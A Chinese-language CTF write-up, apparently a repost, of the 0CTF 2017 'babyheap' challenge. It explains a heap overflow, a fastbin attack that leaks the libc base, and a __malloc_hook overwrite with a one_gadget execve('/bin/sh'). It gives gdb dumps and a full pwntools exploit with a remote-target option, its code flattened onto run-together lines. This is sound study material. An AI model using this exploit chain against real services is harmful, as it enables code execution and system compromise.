babyheap 2017漏洞分析

来源:互联网 发布:java项目开发源代码 编辑:程序博客网 时间:2024/06/10 09:39
直接拿http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html的完整exp分析吧

这是0ctf 2017的一道pwn题。

主要是两点,第一点是怎么泄露libc的基地址,第二点是怎么执行shell


漏洞点:在fill函数中,IDA逆向分析如下:
unsigned __int64 __fastcall fill(pr_heap *a1){  unsigned __int64 result; // rax@1  int index; // [sp+18h] [bp-8h]@1  int size; // [sp+1Ch] [bp-4h]@4  printf("Index: ");  result = read_to_int();  index = result;  if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 )  {    result = LODWORD(a1[(signed int)result].alloc_or_not);    if ( (_DWORD)result == 1 )    {      printf("Size: ");      result = read_to_int();      size = result;      if ( (signed int)result > 0 )      {        printf("Content: ");        result = read_data((__int64)a1[index].heap, size);      }    }  }  return result;}



漏洞是在往堆中fill数据时,数据大小是用户可以控制的 ,这样就可以覆盖堆后边的数据了。

void __fastcall allocate(pr_heap *base){  signed int index; // [sp+10h] [bp-10h]@1  signed int size; // [sp+14h] [bp-Ch]@3  void *heap_start_address; // [sp+18h] [bp-8h]@6  for ( index = 0; index <= 15; ++index )  {    if ( !LODWORD(base[index].alloc_or_not) )    {      printf("Size: ");      size = read_to_int();      if ( size > 0 )      {        if ( size > 4096 )          size = 4096;        heap_start_address = calloc(size, 1uLL);        if ( !heap_start_address )          exit(-1);        LODWORD(base[index].alloc_or_not) = 1;        *(_QWORD *)&base[index].size = size;        base[index].heap = heap_start_address;        printf("Allocate Index %d\n", (unsigned int)index);      }      return;    }  }}
在创建堆时有一个结构体,这个结构体大概是这样的:
struct pr_heap{double alloc_or_not;double size;void *heap;};
第一个0或者1,表示是否分配
第二个是分配的大小
第三个是指针指向堆的地址。

因为开启了PIE,所以需要泄露libc的基地址才能利用成功。

首先看获取libc基地址的方法:
首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了

所以重点是当small chunk释放时,能读出fd 或者 bk的值

贴一下该处的利用代码:
 r.recvuntil(': ')    alloc(0x20)    alloc(0x20)    alloc(0x20)    alloc(0x20)    #pause()    alloc(0x80)     free(1)    free(2)      #pause()    payload  = p64(0)*5    payload += p64(0x31)    payload += p64(0)*5    payload += p64(0x31)    payload += p8(0xc0)    fill(0, payload)    payload  = p64(0)*5    payload += p64(0x31)    fill(3, payload)    alloc(0x20)    alloc(0x20)    payload  = p64(0)*5    payload += p64(0x91)    fill(3, payload)    alloc(0x80)    free(4)    libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20   #0x3a5678    log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58))    log.info("libc_base: " + hex(libc_base))
首先申请5个堆块,前四个是0x20大小,后一个是0x80大小,分配后结构体所在内存布局如下:
gdb-peda$ x/20gx 0x2535a18ce7400x2535a18ce740:0x00000000000000010x00000000000000200x2535a18ce750:0x00005560dae450100x00000000000000010x2535a18ce760:0x00000000000000200x00005560dae450400x2535a18ce770:0x00000000000000010x00000000000000200x2535a18ce780:0x00005560dae450700x00000000000000010x2535a18ce790:0x00000000000000200x00005560dae450a00x2535a18ce7a0:0x00000000000000010x00000000000000800x2535a18ce7b0:0x00005560dae450d00x0000000000000000
堆内存布局:
gdb-peda$ x/30gx 0x00005560dae450000x5560dae45000:0x00000000000000000x00000000000000310x5560dae45010:0x00000000000000000x00000000000000000x5560dae45020:0x00000000000000000x00000000000000000x5560dae45030:0x00000000000000000x00000000000000310x5560dae45040:0x00000000000000000x00000000000000000x5560dae45050:0x00000000000000000x00000000000000000x5560dae45060:0x00000000000000000x00000000000000310x5560dae45070:0x00000000000000000x00000000000000000x5560dae45080:0x00000000000000000x00000000000000000x5560dae45090:0x00000000000000000x00000000000000310x5560dae450a0:0x00000000000000000x00000000000000000x5560dae450b0:0x00000000000000000x00000000000000000x5560dae450c0:0x00000000000000000x00000000000000910x5560dae450d0:0x00000000000000000x00000000000000000x5560dae450e0:0x00000000000000000x0000000000000000
然后释放index为1,2的块:
gdb-peda$ x/20gx 0x2535a18ce7400x2535a18ce740:0x00000000000000010x00000000000000200x2535a18ce750:0x00005560dae450100x00000000000000000x2535a18ce760:0x00000000000000000x00000000000000000x2535a18ce770:0x00000000000000000x00000000000000000x2535a18ce780:0x00000000000000000x00000000000000010x2535a18ce790:0x00000000000000200x00005560dae450a00x2535a18ce7a0:0x00000000000000010x00000000000000800x2535a18ce7b0:0x00005560dae450d00x00000000000000000x2535a18ce7c0:0x00000000000000000x00000000000000000x2535a18ce7d0:0x00000000000000000x0000000000000000
然后向index=0的内存填充数据,由于堆溢出的漏洞,可以覆盖后边的内存。
填充前:
gdb-peda$ x/30gx 0x00005560dae450000x5560dae45000:0x00000000000000000x00000000000000310x5560dae45010:0x00000000000000000x00000000000000000x5560dae45020:0x00000000000000000x00000000000000000x5560dae45030:0x00000000000000000x00000000000000310x5560dae45040:0x00000000000000000x00000000000000000x5560dae45050:0x00000000000000000x00000000000000000x5560dae45060:0x00000000000000000x00000000000000310x5560dae45070:0x00005560dae450300x00000000000000000x5560dae45080:0x00000000000000000x00000000000000000x5560dae45090:0x00000000000000000x00000000000000310x5560dae450a0:0x00000000000000000x00000000000000000x5560dae450b0:0x00000000000000000x00000000000000000x5560dae450c0:0x00000000000000000x00000000000000910x5560dae450d0:0x00000000000000000x00000000000000000x5560dae450e0:0x00000000000000000x0000000000000000
填充后:
gdb-peda$ x/30gx 0x00005560dae450000x5560dae45000:0x00000000000000000x00000000000000310x5560dae45010:0x00000000000000000x00000000000000000x5560dae45020:0x00000000000000000x00000000000000000x5560dae45030:0x00000000000000000x00000000000000310x5560dae45040:0x00000000000000000x00000000000000000x5560dae45050:0x00000000000000000x00000000000000000x5560dae45060:0x00000000000000000x00000000000000310x5560dae45070:0x00005560dae450c00x00000000000000000x5560dae45080:0x00000000000000000x00000000000000000x5560dae45090:0x00000000000000000x00000000000000310x5560dae450a0:0x00000000000000000x00000000000000000x5560dae450b0:0x00000000000000000x00000000000000000x5560dae450c0:0x00000000000000000x00000000000000910x5560dae450d0:0x00000000000000000x00000000000000000x5560dae450e0:0x00000000000000000x0000000000000000
可以发现变化,填充将0x5560dae45070的末尾字节由0x30改成了0xc0,此处正好是fastbin的fd 指向第二次分配fast chunk时的地址 也就是说第一次分配从0x5560dae45060开始,第二次分配从0x5560dae450c0开始了。
   payload  = p64(0)*5    payload += p64(0x31)    fill(3, payload)
本来index=4的堆大小为0x90 此处填充覆盖index=4的堆首表示堆大小的值为0x31 ,也就是将堆从small chunk变成了fast chunk。为什么这样做呢 是为了后边分配0x30堆时的校验通过。
alloc(0x20)
alloc(0x20)
此时在分配两个大小为0x20的堆,第一个分配到0x5560dae45060处,第二次分配到0x5560dae450c0处

gdb-peda$ x/20gx 0x2535a18ce7400x2535a18ce740:0x00000000000000010x00000000000000200x2535a18ce750:0x00005560dae450100x00000000000000010x2535a18ce760:0x00000000000000200x00005560dae450700x2535a18ce770:0x00000000000000010x00000000000000200x2535a18ce780:0x00005560dae450d00x00000000000000010x2535a18ce790:0x00000000000000200x00005560dae450a00x2535a18ce7a0:0x00000000000000010x00000000000000800x2535a18ce7b0:0x00005560dae450d00x00000000000000000x2535a18ce7c0:0x00000000000000000x00000000000000000x2535a18ce7d0:0x00000000000000000x0000000000000000gdb-peda$ x/30gx 0x00005560dae450000x5560dae45000:0x00000000000000000x00000000000000310x5560dae45010:0x00000000000000000x00000000000000000x5560dae45020:0x00000000000000000x00000000000000000x5560dae45030:0x00000000000000000x00000000000000310x5560dae45040:0x00000000000000000x00000000000000000x5560dae45050:0x00000000000000000x00000000000000000x5560dae45060:0x00000000000000000x00000000000000310x5560dae45070:0x00000000000000000x00000000000000000x5560dae45080:0x00000000000000000x00000000000000000x5560dae45090:0x00000000000000000x00000000000000310x5560dae450a0:0x00000000000000000x00000000000000000x5560dae450b0:0x00000000000000000x00000000000000000x5560dae450c0:0x00000000000000000x00000000000000310x5560dae450d0:0x00000000000000000x00000000000000000x5560dae450e0:0x00000000000000000x0000000000000000



    payload  = p64(0)*5    payload += p64(0x91)    fill(3, payload)


此处重新将index=4的堆大小修改为0x90,即small chunk。

alloc(0x80)
分配大小为0x90的块,index=5:
gdb-peda$ x/20gx 0x2535a18ce7400x2535a18ce740:0x00000000000000010x00000000000000200x2535a18ce750:0x00005560dae450100x00000000000000010x2535a18ce760:0x00000000000000200x00005560dae450700x2535a18ce770:0x00000000000000010x00000000000000200x2535a18ce780:0x00005560dae450d00x00000000000000010x2535a18ce790:0x00000000000000200x00005560dae450a00x2535a18ce7a0:0x00000000000000010x00000000000000800x2535a18ce7b0:0x00005560dae450d00x00000000000000010x2535a18ce7c0:0x00000000000000800x00005560dae451600x2535a18ce7d0:0x00000000000000000x0000000000000000
经过以上操作,可以看到index=2和index=4处的堆地址是一样的了

free(4)
此时将index=4的堆释放,根据文章刚开头的介绍,此时index=4的堆(small bin)的fd bk都保存一个指针,这个指针地址在main_arena的0x58偏移处,指向top chunk的地址。
gdb-peda$ x/20gx 0x2535a18ce7400x2535a18ce740:0x00000000000000010x00000000000000200x2535a18ce750:0x00005560dae450100x00000000000000010x2535a18ce760:0x00000000000000200x00005560dae450700x2535a18ce770:0x00000000000000010x00000000000000200x2535a18ce780:0x00005560dae450d00x00000000000000010x2535a18ce790:0x00000000000000200x00005560dae450a00x2535a18ce7a0:0x00000000000000000x00000000000000000x2535a18ce7b0:0x00000000000000000x00000000000000010x2535a18ce7c0:0x00000000000000800x00005560dae451600x2535a18ce7d0:0x00000000000000000x0000000000000000gdb-peda$ x/30gx 0x00005560dae450000x5560dae45000:0x00000000000000000x00000000000000310x5560dae45010:0x00000000000000000x00000000000000000x5560dae45020:0x00000000000000000x00000000000000000x5560dae45030:0x00000000000000000x00000000000000310x5560dae45040:0x00000000000000000x00000000000000000x5560dae45050:0x00000000000000000x00000000000000000x5560dae45060:0x00000000000000000x00000000000000310x5560dae45070:0x00000000000000000x00000000000000000x5560dae45080:0x00000000000000000x00000000000000000x5560dae45090:0x00000000000000000x00000000000000310x5560dae450a0:0x00000000000000000x00000000000000000x5560dae450b0:0x00000000000000000x00000000000000000x5560dae450c0:0x00000000000000000x00000000000000910x5560dae450d0:0x00007ff583cffb78    0x00007ff583cffb780x5560dae450e0:0x00000000000000000x0000000000000000gdb-peda$ p main_arena$1 = struct malloc_state {mutex            = 0x0flags            = 0x0fastbinsY        = {...}top              = 0x5560dae451e0last_remainder   = 0x0bins             = {...}binmap           = {...}next             = 0x7ff583cffb20next_free        = 0x0attached_threads = 0x1system_mem       = 0x21000max_system_mem   = 0x21000gdb-peda$ vmmap Start              End                PermName。。。。。。。。0x00007ff58393b000 0x00007ff583afb000 r-xp/lib/x86_64-linux-gnu/libc-2.23.so。。。。。。。。0x00007ff583f2c000 0x00007ff583f2d000 rw-pmapped0x00007fff21261000 0x00007fff21282000 rw-p[stack]0x00007fff2139c000 0x00007fff2139e000 r--p[vvar]0x00007fff2139e000 0x00007fff213a0000 r-xp[vdso]0xffffffffff600000 0xffffffffff601000 r-xp[vsyscall]
main_arena在libc data段 偏移为0x7ff583cffb20-0x00007ff58393b000=0x3c4b20

libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20
因为index=2和index=4的堆地址是一样的,所以通过index=2的堆dump函数就可以读取出fd的数据了 。

经过以上分析调试,就可以读取出libc的基地址了。


下边是介绍怎么获取shell。
gdb-peda$ x/30gx 0x7ff583cffb20-0x300x7ff583cffaf0 <_IO_wide_data_0+304>:0x00007ff583cfe2600x00000000000000000x7ff583cffb00 <__memalign_hook>:0x00007ff5839c0e200x00007ff5839c0a000x7ff583cffb10 <__malloc_hook>:0x00000000000000000x00000000000000000x7ff583cffb20 <main_arena>:0x00000000000000000x00000000000000000x7ff583cffb30 <main_arena+16>:0x00000000000000000x00000000000000000x7ff583cffb40 <main_arena+32>:0x00000000000000000x00000000000000000x7ff583cffb50 <main_arena+48>:0x00000000000000000x0000000000000000
在mian_arena上边有个malloc_hook,当此处的值不为0的时候,程序就会跳到该处保存地址的地方指向代码。

所以思路是,在main_arena上方地址创建堆,填充数据,比如填充指向shellcode的地址,然后就可以跳转到shellcode执行了。

还有个比较麻烦的地方就是控制堆的大小,因为此处用到fast chunk,所以此处堆的大小为0x20-0x80,我们可以看到0x7ff583cffafc处,正好是0x00007f,符合我们的要求,所以可以在0x7ff583cffaed(此处指向堆首)处创建一个堆,然后填充数据,将malloc_hook填充为shellcode。

gdb-peda$ x/20gx 0x7ff583cffaec0x7ff583cffaec <_IO_wide_data_0+300>:0x83cfe260000000000x0000000000007ff50x7ff583cffafc:0x839c0e20000000000x839c0a0000007ff50x7ff583cffb0c <__realloc_hook+4>:0x0000000000007ff50x00000000000000000x7ff583cffb1c:0x00000000000000000x00000000000000000x7ff583cffb2c <main_arena+12>:0x00000000000000000x00000000000000000x7ff583cffb3c <main_arena+28>:0x00000000000000000x00000000000000000x7ff583cffb4c <main_arena+44>:0x00000000000000000x00000000000000000x7ff583cffb5c <main_arena+60>:0x00000000000000000x00000000000000000x7ff583cffb6c <main_arena+76>:0x00000000000000000xdae451e0000000000x7ff583cffb7c <main_arena+92>:0xdae45130000055600xdae4513000005560
先把此处的代码贴出来:
alloc(0x68)    free(4)    pause()    fill(2, p64(libc_base + 0x3c4aed))    alloc(0x60)    alloc(0x60)    #pause()    payload  = '\x00'*3    payload += p64(0)*2    payload += p64(libc_base + 0x4526a)    fill(6, payload)    #pause()    alloc(255)    r.interactive()


alloc(0x68)    free(4)
此处将刚才创建的small chunk修改fast chunk(其实是释放后的 )
fill(2, p64(libc_base + 0x3c4aed)) 将index=2的堆填充为malloc_hook前要创建的堆的堆首地址,也就是将index=4的fd修改为相同。
alloc(0x60)alloc(0x60)
先从index=2或者index=4处创建大小为0x70的堆,此时因为fd指向libc_base + 0x3c4aed,所以下次创建大小是0x70的堆时,就在libc_base + 0x3c4aed创建 inedx=6

 payload  = '\x00'*3 payload += p64(0)*2 payload += p64(libc_base + 0x4526a) fill(6, payload)
此时 填充index=6的堆,也就是在malloc_hook前创建的堆,然后将malloc_hook填充为shellcode的地址 。
alloc(255)
再次创建堆块时,shellcode得到执行,获取了shell。

最终结果:


shellcode获取:
在libc中包含execve('/bin/sh'),可以直接调用 。
可以通过one_gadget工具直接搜索相关代码https://github.com/david942j/one_gadget
root@yang-virtual-machine:~/ctf# one_gadget /lib/x86_64-linux-gnu/libc.so.60x4526aexecve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL0xcd0f3execve("/bin/sh", rcx, r12)constraints:  [rcx] == NULL || rcx == NULL  [r12] == NULL || r12 == NULL0xcd1c8execve("/bin/sh", rax, r12)constraints:  [rax] == NULL || rax == NULL  [r12] == NULL || r12 == NULL0xf0274execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL0xf1117execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL0xf66c0execve("/bin/sh", rcx, [rbp-0xf8])constraints:  [rcx] == NULL || rcx == NULL  [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULLroot@yang-virtual-machine:~/ctf# 


比如此处的0x4526a的代码可以直接调用。


完整exp:
from pwn import *import sysdef alloc(size):    r.sendline('1')    r.sendlineafter(': ', str(size))    r.recvuntil(': ', timeout=1)def fill(idx, data):    r.sendline('2')    r.sendlineafter(': ', str(idx))    r.sendlineafter(': ', str(len(data)))    r.sendafter(': ', data)    r.recvuntil(': ')def free(idx):    r.sendline('3')    r.sendlineafter(': ', str(idx))    r.recvuntil(': ')def dump(idx):    r.sendline('4')    r.sendlineafter(': ', str(idx))    r.recvuntil(': \n')    data = r.recvline()    r.recvuntil(': ')    return datadef exploit(r):    r.recvuntil(': ')    alloc(0x20)    alloc(0x20)    alloc(0x20)    alloc(0x20)    #pause()    alloc(0x80)    pause()    free(1)    free(2)      #pause()    payload  = p64(0)*5    payload += p64(0x31)    payload += p64(0)*5    payload += p64(0x31)    payload += p8(0xc0)    fill(0, payload)    payload  = p64(0)*5    payload += p64(0x31)    fill(3, payload)    alloc(0x20)    alloc(0x20)    payload  = p64(0)*5    payload += p64(0x91)    fill(3, payload)    alloc(0x80)    free(4)    libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20   #0x3a5678    log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58))    log.info("libc_base: " + hex(libc_base))    alloc(0x68)    free(4)    pause()    fill(2, p64(libc_base + 0x3c4aed))    alloc(0x60)    alloc(0x60)    #pause()    payload  = '\x00'*3    payload += p64(0)*2    payload += p64(libc_base + 0x4526a)    fill(6, payload)    #pause()    alloc(255)    r.interactive()if __name__ == "__main__":    log.info("For remote: %s HOST PORT" % sys.argv[0])    if len(sys.argv) > 1:        r = remote(sys.argv[1], int(sys.argv[2]))        exploit(r)    else:        #r = process(['./babyheap'], env={"LD_PRELOAD":"./libc.so.6"})        r = process('./babyheap')        print util.proc.pidof(r)        #pause()        exploit(r)
几点疑问:
1. 在 alloc(0x68)时,为什么堆首大小是0x71呢
2. 在alloc(0x60处),为什么堆首大小还是0x7f呢 就是最后在malloc_hook上申请的那个堆




参考链接:
1.http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
2.http://0x48.pw/2017/08/01/0x36/
3.https://poning.me/2017/03/24/baby-heap-2017/

原创粉丝点击